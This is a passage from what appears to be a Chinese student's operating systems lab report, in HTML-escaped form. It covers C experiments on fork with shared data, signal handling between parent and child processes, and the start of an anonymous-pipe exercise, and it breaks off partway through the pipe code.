class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data+=\u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-1\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523164141.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,两个线程都能访问和修改全局变量\u003ccode\u003ecount\u003c/code\u003e,但是由于没有同步机制,导致输出结果不确定,有时候会出现两个线程同时输出相同的值。\u003c/p\u003e\u003ch3 id=\"五、实验心得-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-1\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下创建多线程的方法,知道了如何使用全局变量作为进程数据,在线程之间进行数据共享。同时,我也意识到了线程之间存在数据竞争的问题,需要使用同步机制来保证数据的一致性和正确性。\u003c/p\u003e\u003ch2 id=\"实验3:信号通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C3%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验3:信号通信\"\u003e\u003c/a\u003e实验3:信号通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-2\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号通信的原理和用法\u003c/li\u003e\u003cli\u003e使用信号通信实现父子进程之间的简单交互\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-2\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esignal.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用\u003ccode\u003esleep()\u003c/code\u003e函数延迟一段时间后,使用\u003ccode\u003ekill()\u003c/code\u003e函数向父进程发送一个信号(如SIGUSR1)。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程定义一个信号处理函数\u003ccode\u003esighandler()\u003c/code\u003e,并使用\u003ccode\u003esignal()\u003c/code\u003e函数将该函数绑定到子进程发送的信号上。在信号处理函数中,打印出收到信号的信息,并使用\u003ccode\u003eexit()\u003c/code\u003e函数终止父进程。\u003c/p\u003e\u003ch3 id=\"三、实验代码-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-2\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esigchld_handler\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGCHLD){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u0026amp;pid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(WIFEXITED(pid)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGCHLD-\u0026gt;%d\\n\u0026#34;\u003c/span\u003e, WEXITSTATUS(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGINT){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGINT\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGINT , sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGCHLD, sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// child process\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]started child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]running child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(!WIFEXITED(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-2\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164421.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功接收到了子进程发送的信号,并执行了相应的处理函数。\u003c/p\u003e\u003ch3 id=\"五、实验心得-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-2\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号通信的原理和用法,知道了如何使用系统调用来发送和接收信号,在父子进程之间进行简单交互。同时,我也了解了信号处理函数的编写方法和注意事项。\u003c/p\u003e\u003ch2 id=\"实验4:匿名管道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C4%EF%BC%9A%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93\" class=\"headerlink\" title=\"实验4:匿名管道\"\u003e\u003c/a\u003e实验4:匿名管道\u003c/h2\u003e\u003ch3 id=\"一、实验目标-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-3\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用匿名管道实现父子进程之间的双向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-3\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建两个单文档应用程序Parent和Child作为父子进程。在Parent中引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003epipe()\u003c/code\u003e函数创建一个匿名管道,并使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程关闭管道的写端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的读端重定向到标准输入。然后使用\u003ccode\u003eexeclp()\u003c/code\u003e函数执行Child程序。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程关闭管道的读端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的写端重定向到标准输出。然后使用\u003ccode\u003eprintf()\u003c/code\u003e函数向管道写入数据,并使用\u003ccode\u003ewait()\u003c/code\u003e函数等待子进程结束。\u003c/p\u003e\u003cp\u003e在Child程序中,引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003escanf()\u003c/code\u003e函数从标准输入读取数据,并打印出来。\u003c/p\u003e\u003cp\u003e此处我使用\u003ccode\u003efork()\u003c/code\u003e创建了两个进程来模拟父子进程通信,从原理上和两个单独进程的效果一样。\u003c/p\u003e\u003ch3 id=\"三、实验代码-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-3\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e fd[\u003cspan class=\"number\"\u003e2\u003c/span\u003e], pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 